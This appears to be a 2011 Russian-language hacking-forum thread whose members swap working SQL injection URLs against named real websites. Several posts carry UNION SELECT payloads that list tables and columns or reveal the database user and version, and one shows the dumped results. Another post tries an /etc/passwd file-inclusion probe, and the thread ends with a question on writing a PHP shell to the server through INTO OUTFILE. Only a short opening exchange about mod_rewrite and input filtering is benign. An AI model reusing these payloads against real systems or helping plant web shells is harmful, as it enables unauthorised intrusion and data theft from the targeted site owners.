23.05.2011, 17:19
|
|
Новичок
Регистрация: 27.06.2010
Сообщений: 20
С нами:
8355926
Репутация:
0
|
|
Сообщение от None
ЧПУ (человеко понятные ссылки)
"У" ?
|
|
|
23.05.2011, 17:21
|
|
Новичок
Регистрация: 02.11.2009
Сообщений: 0
С нами:
8695833
Репутация:
0
|
|
"урлы" - урл - URL
|
|
|
|
23.05.2011, 17:34
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от XAMEHA
Но кроме этого, mod_rewrite может поддерживать передачу цифр, а так называемый обход ЧПУ позволит подставлять всё что угодно, так что надеться на это не нужно и фильтровать данные в любом случае. Яркий пример - DLink.
ммм... как это: "mod_rewrite может поддерживать передачу цифр"?
mod_rewrite это модуль, который преобразует урл по правилам прописанными в директиве RewriteRule, и передаваться могут те символы, которые указаны в правиле.
так же может использоваться как mod_rewrite так и самопальный роутер на php
вариантов масса, и как таковой "обход ЧПУ", это очень смутный вид/метод атаки (если это можно так назвать)
получаемые данные, они на то и получаемые данные, что их можно модифицировать, и если их не фильтровать, безопасность сайта находится под угрозой, а каким способом они будут передаваться разницы нет, будь то _GET, _POST, _COOKIE, _SESSION, преобразованные из URL методами mod_rewrite или роутером.
|
|
|
|
23.05.2011, 18:56
|
|
Новичок
Регистрация: 16.05.2011
Сообщений: 8
С нами:
7890806
Репутация:
0
|
|
не получается просмотреть таблицы
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,3,group_concat%28table_name%29, 5+FROM+information_schema.tables+WHERE+table_schem a=0x7765626d6e675f70726f64756374
база данных webmng_product
|
|
|
|
23.05.2011, 19:19
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Код:
http://www.gideons.com.my/news_process.php?id=(0)union/*!all*/select(1),2,3,group_concat(table_name,0x3a,column_name+separator+0x3c62723e),(5)from(information_schema.columns)where(table_schema=0x7765626D6E675F70726F6475637473)--+
|
|
|
|
23.05.2011, 20:22
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Сообщение от kartes1984
не получается просмотреть таблицы
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,3,group_concat%28table_name%29, 5+FROM+information_schema.tables+WHERE+table_schem a=0x7765626d6e675f70726f64756374
база данных webmng_product
http://www.gideons.com.my/news_process.php?id=-1+union+select+1,2,group_concat(0x0b,table_name),4 ,5+from+information_schema.tables+where+table_sche ma=0x7765626d6e675f70726f6475637473+--+
gallery,
gallery_group,
news,
product_category,
products_detail
|
|
|
|
23.05.2011, 22:16
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Подскажите, есть ли здесь инклуд?
Сообщение от None
http://www.worldbusinesslisting.org/chinese/index.php?cat=/etc//passwd&subcat=7392&page=3
|
|
|
|
23.05.2011, 22:49
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от FlaktW
Подскажите, есть ли здесь инклуд?
незнаю как там с инклудом, но скуль есть:
Сообщение от None
http://www.worldbusinesslisting.org/chinese/index.php?category=-39+union+select+1,2,concat_ws(0x3a,user(),version( ),database()),4,5--
worldbus_diego@192.168.2.7:5.0.92-community:worldbus_chinese
|
|
|
|
23.05.2011, 23:00
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от FlaktW
Подскажите, есть ли здесь инклуд?
Нету там инклюда.
А вообще определить есть ли инклюд или нету можно так:
Попробуй перед значением подставить: ./или /Если контент не изменился, то вполне возможно что инклюд.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Если примерна такая картинка, то инклюд есть.
Это не беря в расчет всякие там филтры, которые могут обрезать "/" и т.д..
|
|
|
|
23.05.2011, 23:21
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
подскажите как правильно залить шелл:
делаю так
Сообщение от None
union+select+'%3C?php%20phpinfo();%20?%3E',2,3,4,5 ,6,7,8,9,0,11,12,13,14,15,16+INTO+OUTFILE+'/home/www/userfiles/1.php'--
создается файл:userfiles/1.php с содержимым
Сообщение от None
2 3 4 5 6 7 8 9 0 11 12 13 14 15 16
но как пхп не отоброжается, что можно сделать в такой ситуации? |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
